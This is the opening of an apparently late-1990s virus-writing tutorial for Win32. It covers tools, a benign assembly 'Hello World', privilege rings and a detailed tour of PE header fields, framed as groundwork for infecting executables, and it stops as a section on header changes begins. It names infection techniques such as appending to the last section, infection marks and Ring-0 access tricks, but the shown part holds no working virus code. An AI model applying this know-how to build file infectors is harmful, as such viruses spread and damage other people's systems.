Billy Belcebú Virus Writing Guide 1.00 for Win32

Disclaimer

The autor of this document isn't responsible of any kind of damage that could be made with the bad use of this information. The objective of this tutorial is to teach people how to create, and defend againist the attack of a lame YAM virus :) This tute is for educational purposes only. So, lawyers, i don't give a shit if a lamer takes this information and makes destructive viruses. And if through this document you see anywhere that i encourage to destroy or corromp data, go directly to buy glasses.

Presentations

Hello dear comrades,
do you remember the Billy Belcebú Virus Writing Guide? That was a big tute about the nowadays obsolete MS-DOS viruses. Well, there i explained step by step a lot of the most known viral techinques for DOS, and it was written for teach the beginners, and make them the less lame possible. Well, here i am again, and writing another (i hope) cool tutorial, but this time i'll speak about the new threat for the computers of today, Win32 viruses, and of course all the things that are related to that matter. I saw the lack of complete tutorials, so i asked myself... Why don't i write a tutorial about this? And here i am again :) The real pioneer in Win32 viruses was VLAD group, and the pioneer of making tutorials in the way i like was Lord Julus. But i won't forget a guy that wrote interesting tutes, and released before Lord Julus', of course i'm talking about JHB. Interesting techniques were researched by Murkry, and later also by Jacky Qwerty... I hope i'm not

forgetting anyone important in Win32 virus coding (short) history. Take note that i don't forget the roots of all this. As in my Virus Writing Guide serials, i have to thank some music groups, as Blind Guardian, HammerFall, Stratovarius, Rhapsody, Marilyn Manson, Iron Maiden, Metallica, Iced Earth, RAMMS+EIN, Mago De Oz, Avalanch, Fear Factory, Korn, Hamlet and Def Con Dos. All those thingies make the perfect atmosphere to write a lot for huge tutes and code.

Heh, many changes happened to the typical structure of my guides, now i put an index, and almost all the code presented is mine, or based in another's but adapted by me, or simply, a very little percentage, ripped ;) Just kidding. But hey,i tried to solve all the things i know i fucked in my VWGs for the now completly extinct MS-DOS (RIP).

I must greet to Super/29A, that helped me with some aspects of this guide, he has been one of my beta-testers, and he has contributed with some things to this project.

NOTE: English ain't my first language (it's spanish), so excuse me for all my misspells i made (a lot of), and notify me them for later updates of this document. I've included some documents already released independently in some VX magazines, but it's worth to read them because i fixed, spell-checked them, and also i've added some more additional information. And remember: versions 1.00 aren't never perfect, so notify me the possible mistakes in this doc for further updates (i'll place the nick of the guy that points me a bug in this same doc with a greet).

--- Contact me (but not for ask bullshits, i don't use to have time)

■ E-mail	billy_belcebu@mixmail.com
■ Personal web page	http://members.xoom.com/billy_bel
	http://www.cryogen.com/billy_belcebu

Sweet dreams are made of this...

Index

Somebody (hi Qozah!) have told me, while he read a beta of thids tute, that it was a bit chaotic, as it was very easy to get lost between chapters. I've tried to reorganize a bit all this, anyway, i'm still chaothic, and my tutes are italso :)

Useful things for virus coding

You need some things before start writing virii. Here you have the programs i recommend you (If you haven't enough money for buy them... DOWNLOAD!) :)

- Windows 95 or Windows NT or Windows 98 or Windows 3.x + Win32s :)
- The TASM 5.0 package (that includes TASM32 and TLINK32)
- SoftICE 3.23+ (or better) for Win9X, and for WinNT.
- The API list (Win32.HLP)
- Windows95 DDK, Windows98 DDK, Windows2000 DDK... ie, all M$ DDKs and SDKs.
- Strongly recommended Matt Pietrek document about PE header.
- Jacky Qwerty's PEWRSEC tool (depending if you put code in '.code').
- Some hash... oh, shit! It's what i want! :)
- Some e-zines like 29A(#2,#3),Xine(#2,#3,#4),VLAD(#6),DDT(#1)...
- Some Windows viruses, like Win32.Cabanas, Win95.Padania, Win32.Legacy...
- Some Windoze heuristical AV (NODICE32 recommended)-> www.eset.sk
- Neuromancer, by William Gibson, it's the holy book.
- This guide, of course!

I hope i'm not forgetting anything important.

A brief explanation

Well, begin erasing of your head the concept of 16 bit MS-DOS coding, the charming 16 bit offsets, the interrupts, the ways of going resident... all this stuff that we have been using for a lot of years, nowadays haven't any use. Yes, they aren't useful now. In this document, when i'm talking about Win32, i mean Windows 95 (normal, OSR1, OSR2), Windows 98, Windows NT or Windows 3.x + Win32s. The most dramatical change, at least in my humble viewpoint is the substitution of the interrupts for APIs, followed by the change of the 16 bit registers and offset to 32 bit ones. Well, Windows open us the doors for use another language instead ASM (as C), but i'll stay with the ASM forever: it's in most cases better to understand and more easyly optimizable (hi Super!). As i was saying some lines above, you must use a new thing called API. You must know that the parameters must be in the stack and the APIs are accessed using a CALL.

PS: As i call Win32 to all the above said platforms, i call Win9X to Win95 (in all its versions) and Win98. I call Win2k to Windows 2000. Take note of this.

% Changes between 16 and 32 bit programming %

We will work ussually with double words instead words, and this thing open us a new world of possibilities. We have two more segments to add to the already known CS, DS, ES and SS: FS and GS. And we have new 32 bit registers as EAX, EBX, ECX, EDX, ESI, EDI, EBP and ESP. Let's see how to play with the reggies: Imagine we have to access to the less significant word of EAX. What can we do? This part can be accessed by using AX register, that handles its LSW. Imagine that EAX = 00000000, and we want to put a 1234h in the LSW of this. We must simply do a "mov ax,1234h" and all the work is done. But what if we wanna access to the MSW (Most Significant Word) of EAX. For his purposes we can't use a register: we must play using ROL (or SHL if LSW is shit). Well, the problem isn't really here. Use that for move a value from MSW to LSW.

Let's continue with the typical example we always try to do when we have a new language: the "Hello world!" :)

% Hello World in Win32 %

It's very easy. We must use the "MessageBoxA" API, so we define it with the already known "extrn" command, and then push the parameters and call the said API. Note that the strings must be ASCIIZ (ASCII,0). Remember that the parameters must be pushed in reverse order.

```
;---[ CUT HERE ]-------------------------------------------------------------

             .386                         ; Processor (386+)
             .model flat                   ; Uses 32 bit registers

extrn         ExitProcess:proc               ; The API it uses
extrn         MessageBoxA:proc

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; With the "extrn" directive we put all the API we will use among the prog ;
; ExitProcess is the API we use 4 return control to OS, and MessageBoxA is ;
; used for show a classical Windoze message box.                        ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

.data
szMessage      db     "Hello World!",0      ; Message for MsgBox
szTitle        db     "Win32 rocks!",0      ; Title of that MsgBox

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; Here we can't put the data of the real virus. As this is an example, we ;
; can use it, and mainly because TASM refuses to assemble the code if we ;
; don't put some data here. Anyway... Use it for put the data of the 1st ;
; generation's host of your virus.                                    ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

             .code                        ; Here we go!

HelloWorld:
             push    00000000h             ; Sytle of MessageBox
             push    offset szTitle         ; Title of MessageBox
             push    offset szMessage       ; The message itself
             push    00000000h             ; Handle of owner

             call    MessageBoxA            ; The API call itself
```

```
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; int MessageBox(                                                 ;
;  HWND hWnd,         // handle of owner window                      ;
;  LPCTSTR lpText,     // address of text in message box               ;
;  LPCTSTR lpCaption,  // address of title of message box               ;
;  UINT uType         // style of message box                        ;
;  );                                                            ;
;                                                               ;
; We push the parameterz in the stack before call the API itself, and if u ;
; remember, stack uses that charming thing called LIFO (Last In First Out) ;
; so we have to push da parameters in reverse order. Let's see a brief des ;
; cription of each one of the parameters of this function:              ;
;                                                               ;
; ■ hWnd: Identifies the owner window of the message box to be created. If ;
;  this parameter is NULL, the message box has no owner window.         ;
; ■ lpText: Points to a null-terminated string containing da message to be ;
;  displayed.                                                      ;
; ■ lpCaption: Points to a null-terminated string used for the dialog box  ;
;  title. If this parameter is NULL, the default title Error is used.    ;
; ■ uType: Specifies a set of bit flags that determine the contents and    ;
;  behavior of da dialog box. This parameter can be combination of flags  ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

            push    00000000h
            call    ExitProcess

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; VOID ExitProcess(                                               ;
;  UINT uExitCode      // exit code for all threads                     ;
;  );                                                            ;
;                                                               ;
; This function is the equivalent under Win32 enviroments to the very well ;
; know Int 20h, of the Int 21h's functions 00, 4C, etc. It's simply da way ;
; for close the current process, ie finish execution. Here you have the    ;
; only parameter:                                                 ;
;                                                               ;
; ■ uExitCode: Specifies the exit code for da process, and for all threads ;
;  that are terminated as result of this call. Use da GetExitCodeProcess  ;
;  function to retrieve da process's exit value. Use da GetExitCodeThread ;
;  function to retrieve a thread's exit value.                         ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

end HelloWorld
```

```
;——[ CUT HERE ]——————————————————————————————————————————————————————————————
```

As you can see, it's very simple to code. Maybe not as easy as the same in 16 bit enviroments, but really simple if you think about all the advantages that the 32 bits brings to us. Well, now that you know how to make the "Hello World", you are able to infect the world ;)

% Rings %

I know that you all are afraid of what's coming next, but, as i will demonstrate, it ain't as difficult as it seem. Let's remember some things that you must have clear: the processor has four privilege levels: Ring-0, Ring-1, Ring-2 and Ring-3, being this last the one with more restrictions, and being the first the valhalla of the virus coder, almost complete freedom for code. Just remember the charming DOS, where we always coded in Ring-0... And now think that you can do the same under Win32 platforms... Well, stop dreaming and let's work.

Ring-3 is the also denominated "user" level, where we have a lot of restrictions, that completly fuck our anarchy needs. Microsoft coders did a mistake when they released Win95 and said that it was "uninfectable", as was demonstrated before the OS was sold, with the awesome Bizatch (and misnamed later to Boza, but it is another history). They though that the API couldn't be accessed and used by a virus. But they didn't think about the supreme intelligence of the virus coder, so... We can code virus in user level, of course You only need to take a look to the mass of new Win32 runtime viruses that are being released this days, they are all Ring-3... They aren't bad, don't misunderstood me, and btw, the Ring-3 viruses are the only possible nowadays for infect all Win32 enviroments. They are the future... mainly because the soon release of Windows NT 5.0 (or Windows 2000). We have to search for the APIs for a succesful life of the virus (that thing made of Bizatch to spread badly, because it "harcoded" the API addresses, and they might change from a Windows version to another one), and we can do it with some different ways as i'll explain later.

Ring-0 is another history, very different of Ring-3. Here we have the level that the kernel uses for its code, the "kernel" level. Ain't it charming? We can access to ports, to places we haven't dreamed before... the most near to an orgasm you can be. We can't access directly without using one of the tricks we actually know, such as the IDT modification, the "Call Gate" technique that SoPinKy/29A shown in 29A#3, or the VMM inserting, technique already seen in Padania or Fuck Harry viriis. We don't need APIs, as we work directly with VxD's services, and their address is assumed to be the same in all Win9X based systems, so we "hardcode" them. I'll make a deep description of that in the chapter fully dedicated to Ring-0 in this document.

% Important things %

I think i should put this before in this document, anyway, it's better to know it anywhere rather than don't know it :) Well, let's talk something about the internal thingies of our Win32 OS.

First of all, you must have clear some concepts. Let's begin writing about selectors. What is a selector? Well, pretty easy. It's a very big segment, and this form the Win32 memory, also called flat memory. We can direct 4 Gigs of memory (4.294.967.295 bytez), only by using 32 bit offsets. And how is all this memory organized? Just see some of that diagrams i love to do:

```
┌─────────────────────────────────────┐ 1—— OFFSET = 00000000h <-> 3FFFFFFFh
│    Application Code And Data        │
├─────────────────────────────────────┤ 1—— OFFSET = 40000000h <-> 7FFFFFFFh
│         Shared Memory               │
├─────────────────────────────────────┤ 1—— OFFSET = 80000000h <-> BFFFFFFFh
│            Kernel                   │
├─────────────────────────────────────┤ 1—— OFFSET = C0000000h <-> FFFFFFFFh
│         Device Driverz              │
└─────────────────────────────────────┘     Result: we have 4 Gigs of usable
                                             memory. Charmin isn't it?
```

Take note of one thing: WinNT has the last two sections apart of the first ones. Well, now i will put a sort of definitions that you must know, and i will assume you know in the rest of this tutorial.

■ VA:

VA stands for Virtual Address, that is the address of something, but in memory (remember that in Windowz the things are not exactly equal in memory and in disk).

■ RVA:

RVA stands for Relative Virtual Address. Is very important to have this clear. RVA is the offset of something relative to where the file is memory-mapped (by you or by the system).

■ RAW Data:

RAW Data is the name we use to call how is the data physically, that is,just exactly as how it is in disk (data in disk != data in memory).

■ Virtual Data:

Virtual Data is the name we give to the data when it is loaded by the system in memory.

■ File Mapping:

Technique, implemented in all the Win32 enviroments, that consists in a more fast (and uses less memory) way of file manipulation, and more easily understandable than the DOS way. All what we modify in memory, is also modified in disk. The File Mapping is also the only way for exchange information between processes that works in all Win32 enviroments (in NT even!).

% How to compile things %

Damn, i've almost forgotten this :) Well, the usual parameters for compile a Win32 ASM program, are, at least for all the examples of this tutorial, the following ones (while 'program' is the name of the ASM file, but without any extension):

```
      tasm32 /m3 /ml program,,;
      tlink32 /Tpe /aa program,program,,import32.lib
      pewrsec program.exe
```

I hope it's enough clear. You can also use makefiles, or build a bat for do it automatically (as i do!).

The PE header

This is probably the most important chapter of all the document. Read it!

% Introduction %

It's very important to have clear the structure of the PE header for write our windoze viruses. Well, here i'll list what i though that was important, but here it is NOT all the information about the PE file, for know more just take a look to the documents i recommended about the PE file above, in "Useful..." chapter.

```
┌─────────────────────────────────── ┐ 1── OFFSET = 00000000h
│                                    │
│           DOS stub                 │
│                                    │
├─────────────────────────────────── ┤ 1── OFFSET = [DOS Stub+3Ch]
│                                    │
│           PE stuff                 │
│                                    │
└─────────────────────────────────── ┘
```

Let's make a deep analysis of both two situation in general. Let's see some stuff as Micheal J. O'Leary's diagram style.

```
┌────────────────────────────────────┐ 1── Base of Image Header
│   DOS compatible EXE header        │─┐
├─────────────────────────────────── ┤ │
│          Unused                    │ │
├─────────────────────────────────── ┤ │
│        OEM identifier              │ │
├─────────────────────────────────── ┤ │
│         OEM info                   │ ├──0 Uninteresting (DOS Compatibility)
├─────────────────────────────────── ┤ │
│       Offset to PE Header          │────0 Very interesting
├─────────────────────────────────── ┤ │
│ DOS Stub program and reloc table   │ │
├─────────────────────────────────── ┤ │
│          Unused                    │─┘
├─────────────────────────────────── ┤
│  PE header (IMAGE_FILE_HEADER)     │─┐
├─────────────────────────────────── ┤ │
│ PE header (IMAGE_OPTIONAL_HEADER)  │ │
├─────────────────────────────────── ┤ ├──0 Very very interesting :)
│        Section Table               │ │
├─────────────────────────────────── ┤ │
│                                    │ │
│          Sections                  │─┘
│                                    │
└────────────────────────────────────┘
```

Now you have seen a general approach to PE header, that wonderful thingy (but also complicated), our new n°1 target. Ok, ok, you have a "general" view of all that stuff, but still you need to know the internal structure of only the PE Header IMAGE_FILE_HEADER itself. Tight your belts!

```
IMAGE_FILE_HEADER
 ─────────────────┘

┌────────────────────────────────────┐ 1─── +00000000h
│          "PE\0\0"                  │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000004h
│           Machine                  │      Size : 1 WORD
├────────────────────────────────────┤ 1─── +00000006h
│       Number Of Sections           │      Size : 1 WORD
├────────────────────────────────────┤ 1─── +00000008h
│        Time Date Stamp             │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +0000000Ch
│     Pointer To Symbol Table        │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000010h
│       Number Of Symbols            │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000014h
│     Size Of Optional Header        │      Size : 1 WORD
├────────────────────────────────────┤ 1─── +00000016h
│        Characteristics             │      Size : 1 WORD
└────────────────────────────────────┘         ─────────
                                       Total Size : 18h BYTES
```

I'm gonna make a brief description (a resume of what Matt Pietrek said in his wonderful document about PE file) of the fields of the IMAGE_FILE_HEADER

■ PE\0\0:

This is the mark that every PE file has. Just check for its existence while coding your infection. If it is not here, it's not a PE, ok?

■ Machine:

As the kind of computer we can be using could be a non-PC compatible and suck like (NT has an opened hierarchy for those things, you know), and as the PE file is common for all the whole thing, in this field goes for what kind of machine the application is coded for. Could be one of these valuez:

```
IMAGE_FILE_MACHINE_I386    equ  14Ch    ; Intel 386.
IMAGE_FILE_MACHINE_R3000   equ  162h    ; MIPS little-endian,160h big-endian
```

```
IMAGE_FILE_MACHINE_R4000   equ  166h    ; MIPS little-endian
IMAGE_FILE_MACHINE_R10000  equ  168h    ; MIPS little-endian
IMAGE_FILE_MACHINE_ALPHA   equ  184h    ; Alpha_AXP
IMAGE_FILE_MACHINE_POWERPC equ  1F0h    ; IBM PowerPC Little-Endian
```

■ Number Of Sections:

Very important field for our infections. It tells us the number of sections that the file has.

■ Time Date Stamp:

Holds the number of seconds that passed since December 31st of 1969 at 4:00 AM until the time when the file was linked.

■ Pointer To Symbol Table:

Uninteresting, because it's only used by OBJ files.

■ Number Of Symbols:

Uninteresting, because it's only used by OBJ files.

■ Size Of Optional header:

Holds the amount of bytes that the IMAGE_OPTIONAL_HEADER occupies (see the description of IMAGE_OPTIONAL_HEADER below).

■ Characteristics:

The flags that give us some information more about the file. Uninteresting for all us.

IMAGE_OPTIONAL_HEADER

```
┌──────────────────────────────────────┐ 1── +00000018h
│             Magic                    │      Size : 1 WORD
├──────────────────────────────────────┤ 1── +0000001Ah
│      Major Linker Version            │      Size : 1 BYTE
├──────────────────────────────────────┤ 1── +0000001Bh
│      Minor Linker Version            │      Size : 1 BYTE
├──────────────────────────────────────┤ 1── +0000001Ch
│          Size Of Code                │      Size : 1 DWORD
```

```
├────────────────────────────────────┤ 1─── +00000020h
│    Size Of Initialized Data        │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000024h
│   Size Of UnInitialized Data       │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000028h
│     Address Of Entry Point         │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +0000002Ch
│          Base Of Code              │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000030h
│          Base Of Data              │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000034h
│           Image Base               │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000038h
│        Section Alignment           │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +0000003Ch
│         File Alignment             │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000040h
│  Major Operating System Version    │       Size : 1 WORD
├────────────────────────────────────┤ 1─── +00000042h
│  Minor Operating System Version    │       Size : 1 WORD
├────────────────────────────────────┤ 1─── +00000044h
│      Major Image Version           │       Size : 1 WORD
├────────────────────────────────────┤ 1─── +00000046h
│      Minor Image Version           │       Size : 1 WORD
├────────────────────────────────────┤ 1─── +00000048h
│     Major Subsystem Version        │       Size : 1 WORD
├────────────────────────────────────┤ 1─── +0000004Ah
│     Minor Subsystem Version        │       Size : 1 WORD
├────────────────────────────────────┤ 1─── +0000004Ch
│           Reserved1                │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000050h
│         Size Of Image              │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000054h
│        Size Of Headers             │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000058h
│           CheckSum                 │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +0000005Ch
│           SubSystem                │       Size : 1 WORD
├────────────────────────────────────┤ 1─── +0000005Eh
│      Dll Characteristics           │       Size : 1 WORD
├────────────────────────────────────┤ 1─── +00000060h
│     Size Of Stack Reserve          │       Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000064h
│      Size Of Stack Commit          │       Size : 1 DWORD
```

```
├────────────────────────────────────┤ 1─── +00000068h
│      Size Of Heap Reserve          │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +0000006Ch
│      Size Of Heap Commit           │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000070h
│         Loader Flags               │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000074h
│    Number Of Rva And Sizes         │      Size : 1 DWORD
└────────────────────────────────────┘            ─────────
                               Total Size : 78h BYTES
               (Together with IMAGE_FILE_HEADER ^^^^^^^^^)
```

■ Magic:

Always seems to be 010Bh, fact that make us think it's a kind of signature. Uninteresting.

■ Major Linker Version and Minor Linker Version:

Version of the linker that produced this file. Uninteresting.

■ Size Of Code:

It's the amount of bytes (rounded up) of all the sections that contain executable code.

■ Size Of Initialized Data:

It' s supposed to be the total size of all sections with initialized data.

■ Size Of Uninitialized Data:

The uninitialized data does not occupy disk space, but when system loadz the file, it gives some memory (Virtual Memory, in fact).

■ Address of EntryPoint:

Where the loader will begin the execution of code. It's an RVA, relative to the imagebase when the system loads the file. Very interesting.

■ Base Of Code:

The RVA where the file's code sections begin. The code sections typically come before the data sections and after the PE header in memory. This RVA is usually 0x1000 in Microsoft Linker-produced EXEs. Borland's TLINK32 looks like it adds the image base to the RVA of the first code section and stores the result in this field.

- **Base Of Data:**

The RVA where the file's data sections begin. The data sections typically come last in memory, after the PE header and the code sections.

- **Image Base:**

When the linker creates an executable, it assumes that the file will be memory-mapped to a specific location in memory. That address is stored in this field, assuming a load address allows linker optimizations to take place. If the file really is memory-mapped to that address bythe loader, the code doesn't need any patching before it can be run. In executables produced for Windows NT, the default image base is 0x10000. For DLLs, the default is 0x400000. In Win9X, the address 0x10000 can't be used to load 32-bit EXEs because it lies within a linear address region shared by all processes. Because of this, Microsoft has changed the default base address for Win32 executables to 0x400000. Older programs that were linked assuming a base address of 0x10000 will take longer to load under Win9X because the loader needs to apply the base relocations.

- **Section Alignment:**

When mapped into memory, each section is guaranteed to start at a virtual address that's a multiple of this value. For paging purposes, the default section alignment is 0x1000.

- **File Alignment:**

In the PE file, the raw data that comprises each section is guaranteed to start at a multiple of this value. The default value is 0x200 bytes,probably to ensure that sections always start at the beginning of a disk sector (which are also 0x200 bytes in length). This field is equivalent to the segment/resource alignment size in NE files. Unlike NE files, PE files typically don't have hundreds of sections, so the space wasted by aligning the file sections is almost always very small.

- **Major Operating System Version and Minor Operating System Version:**

The minimum version of the operating system required to use this executable. This field is somewhat ambiguous since the subsystem fields (a few fields later) appear to serve a similar purpose. This field defaults to 1.0 in all Win32 EXEs to date.

- Major Image Version and Minor Image Version:

A user-definable field. This allows you to have different versions of an EXE or DLL. You set these fields via the linker /VERSION switch. For example, "LINK /VERSION:2.0 myobj.obj".

- Major Subsystem Version and Minor Subsystem Version:

Contains the minimum subsystem version required to run the executable. A typical value for this field is 3.10 (meaning Windows NT 3.1).

- Reserved1:

Seems to always be 0 (perfect for an infection mark).

- Size Of Image:

This appears to be the total size of the portions of the image that the loader has to worry about. It is the size of the region starting at the image base up to the end of the last section. The end of the last section is rounded up to the nearest multiple of the section alignment.

- Size Of Headers:

The size of the PE header and the section (object) table. The raw data for the sections starts immediately after all the header components.

- Checksum:

Supposedly a CRC checksum of the file. As in other Microsoft executable formats, this field is ignored and set to 0. The one exception to this rule is for trusted services and these EXEs must have a valid checksum.

- SubSystem:

The type of subsystem that this executable uses for its user interface. WINNT.H defines the following values:

NATIVE	1	Doesn't require a subsystem (such as a device driver)
WINDOWS_GUI	2	Runs in the Windows GUI subsystem
WINDOWS_CUI	3	Runs in the Windows character subsystem (console app)

OS2_CUI	5	Runs in the OS/2 character subsystem (OS/2 1.x only)
POSIX_CUI	7	Runs in the Posix character subsystem

■ Dll Characteristics:

A set of flags indicating under which circumstances a DLL's initialization function (such as DllMain) will be called. This value appears to always be set to 0, yet the operating system still calls the DLL initialization function for all four events. The following values are defined:

1	Call when DLL is first loaded into a process's address space
2	Call when a thread terminates
4	Call when a thread starts up
8	Call when DLL exits

■ Size Of Stack Reserve:

The amount of virtual memory to reserve for the initial thread's stack. Not all of this memory is committed, however (see the next field). This field defaults to 0x100000 (1MB). If you specify 0 as the stack size to CreateThread, the resulting thread will also have a stack of this same size.

■ Size Of Stack Commit:

The amount of memory initially committed for the initial thread's stack. This field defaults to 0x1000 bytes (1 page) for the Microsoft Linker while TLINK32 makes it two pages.

■ Size Of Heap Reserve:

The amount of virtual memory to reserve for the initial process heap. This heap's handle can be obtained by calling GetProcessHeap. Not all of this memory is committed (see the next field).

■ Size Of Heap Commit:

The amount of memory initially committed in the process heap. The default is one page.

■ Loader Flags:

From WINNT.H, these appear to be fields related to debugging support. I've never seen an executable with either of these bits enabled, nor is it clear how to get the linker to set them. The following values are defined:

1. Invoke a breakpoint instruction before starting the process
2. Invoke a debugger on the process after it's been loaded

■ Number Of Rva And Sizes:

The number of entries in the DataDirectory array (below). This value is always set to 16 by the current tools.

IMAGE_SECTION_HEADER

```
┌────────────────────────────────────┐ 1─── Begin Of Section Header
│         Section Name               │      Size : 8 BYTES
├────────────────────────────────────┤ 1─── +00000008h
│         Virtual Size               │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +0000000Ch
│       Virtual Address              │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000010h
│       Size Of Raw Data             │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000014h
│      Pointer To Raw Data           │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000018h
│     Pointer To Relocations         │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +0000001Ch
│     Pointer To Line Numbers        │      Size : 1 DWORD
├────────────────────────────────────┤ 1─── +00000020h
│     Number Of Relocations          │      Size : 1 WORD
├────────────────────────────────────┤ 1─── +00000022h
│     Number Of Line Numbers         │      Size : 1 WORD
├────────────────────────────────────┤ 1─── +00000024h
│        Characteristics             │      Size : 1 DWORD
└────────────────────────────────────┘            _________
                                      Total Size : 28h BYTES
```

■ Section Name:

This is an 8-byte ANSI name (not UNICODE) that names the section. Most section names start with a . (such as ".text"), but this is not a requirement, as some PE documentation would have you believe. You can name your own sections with either the segment directive in assembly language, or with "#pragma data_seg" and "#pragma code_seg" in the Microsoft C/C++ compiler. It's important to note that if the section name takes up the full 8 bytes, there's no NULL terminator byte. If you're a printf devotee, you can use %.8s to avoid copying the name string to another buffer where you can NULL-terminate it.

■ Virtual Size:

This field has different meanings, in EXEs or OBJs. In an EXE, it holds the actual size of the code or data. This is the size before rounding up to the nearest file alignment multiple. The SizeOfRawData field (seems a bit of a misnomer) later on in the structure holds the rounded up value. The Borland linker reverses the meaning of these two fields and appears to be correct. For OBJ files, this field indicates the physical address of the section. The first section starts at address 0. To find the physical address in an OBJ file of the next section, add the SizeOfRawData value to the physical address of the current section.

■ Virtual Address:

In EXEs this field holds the RVA to where the loader should map the section. To calculate the real starting address of a given section in memory, add the base address of the image to the section's VirtualAddress stored in this field. With Microsoft tools, the first section defaults to an RVA of 0x1000. In OBJs, this field is meaningless and is set to 0.

■ Size Of Raw Data:

In EXEs, this field contains the size of the section after it's been rounded up to the file alignment size. For example, assume a file alignment size of 0x200. If the VirtualSize field from above says that the section is 0x35A bytes in length, this field will say that the section is 0x400 bytes long. In OBJs, this field contains the exact size of the section emitted by the compiler or assembler. In other words, for OBJs, it's equivalent to the VirtualSize field in EXEs.

■ Pointer To Raw Data:

This is the file-based offset of where the raw data emitted by the compiler or assembler can be found. If your program memory maps a PE or COFF file itself (rather than letting the operating system load it), this field is more important than the VirtualAddress field. You'll have a completely linear file mapping in this situation, so you' ll find the data for the sections at this offset, rather than at the RVA specified in the Virtual Address field.

■ Pointer To Relocations:

In OBJs this is the file-based offset to the relocation information for this section. The relocation information for each OBJ section immediately follows the raw data for that section. In EXEs this field (and the subsequent field) are meaningless, and set to 0. When the
linker creates the EXE, it resolves most of the fixups, leaving only base address relocations and imported functions to be resolved at load time. The information about base relocations and imported functions is kept in their own sections, so there's no need for an EXE to have per-section relocation data following the raw section data.

- **Pointer To Line Numbers:**

This is the file-based offset of the line number table. A line number table correlates source file line numbers to the addresses of the code generated for a given line. In modern debug formats like the CodeView format, line number information is stored as part of the debug information. In the COFF debug format, however, the line number information is stored separately from the symbolic name/type information. Usually, only code sections (such as .text) have line numbers. In EXE files, the line numbers are collected towards the end of the file, after the raw data for the sections. In OBJ files, the line number table for a section comes after the raw section data and the relocation table for that section.

- **Number Of Relocations:**

The number of relocations in the relocation table for this section (the PointerToRelocations field from above). This field seems relevant only for OBJ files.

- **Number Of Line Numbers:**

The number of line numbers in the line number table for this section (the PointerToLinenumbers field from above).

- **Characteristics:**

What most programmers call flags, the COFF/PE format calls characteristics. This field is a set of flags that indicate the section's attributes (such as code/data, readable, or writeable,). For a complete list of all possible section attributes, see the IMAGE_SCN_XXX_XXX #defines in WINNT.H. Some of the more important flags are shown below:

0x00000020 This section contains code. Usually set in conjunction with the executable flag (0x80000000).

0x00000040 This section contains initialized data. Almost all sections except executable and the .bss section have this flag set.

0x00000080 This section contains uninitialized data (for example, the .bss section).

0x00000200 This section contains comments or some other type of information. A typical use of this section is the .drectve section emitted by the compiler, which contains commands for the linker.

0x00000800 This section's contents shouldn't be put in the final EXE file. These sections are used by the compiler/assembler to pass information to the linker.

0x02000000 This section can be discarded, since it's not needed by the process once it's been loaded. The most common discardable section is the base relocations (.reloc).

0x10000000 This section is shareable. When used with a DLL, the data in this section will be shared among all processes using the DLL. The default is for data sections to be nonshared, meaning that each process using a DLL gets its own copy of this section's data. In more technical terms, a shared section tells the memory manager to set the page mappings for this section such that all processes using the DLL refer to the same physical page in memory. To make a section shareable, use the SHARED attribute at link time. For example:

```
LINK /SECTION:MYDATA,RWS ...
```

tells the linker that the section called MYDATA should be readable,writeable and shared.

0x20000000 This section is executable. This flag is usually set whenever the "contains code" flag (0x00000020) is set.

0x40000000 This section is readable. This flag is almost always set for sections in EXE files.

0x80000000 The section is writeable. If this flag isn't set in an EXE's section, the loader should mark the memory mapped pages as read-only or execute-only. Typical sections with this attribute are .data and .bss. Interestingly, the .idata section also has this attribute set.

% Changes to do %

Well, here i will explain you the changes to do in a normal PE infector. I assume that you will do a virus that increases the last section of the PE file, this technique seems to have more success between all us, and btw, is much more easy that adding another section. Let's see how a virus can change an executable header. I used for this INFO-PE program, by Lord Julus [SLAM].

```
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-
──────┤ DOS INFORMATION ├───────────────────────────────────────────────────

Analyzed File: GOAT002.EXE

DOS Reports:
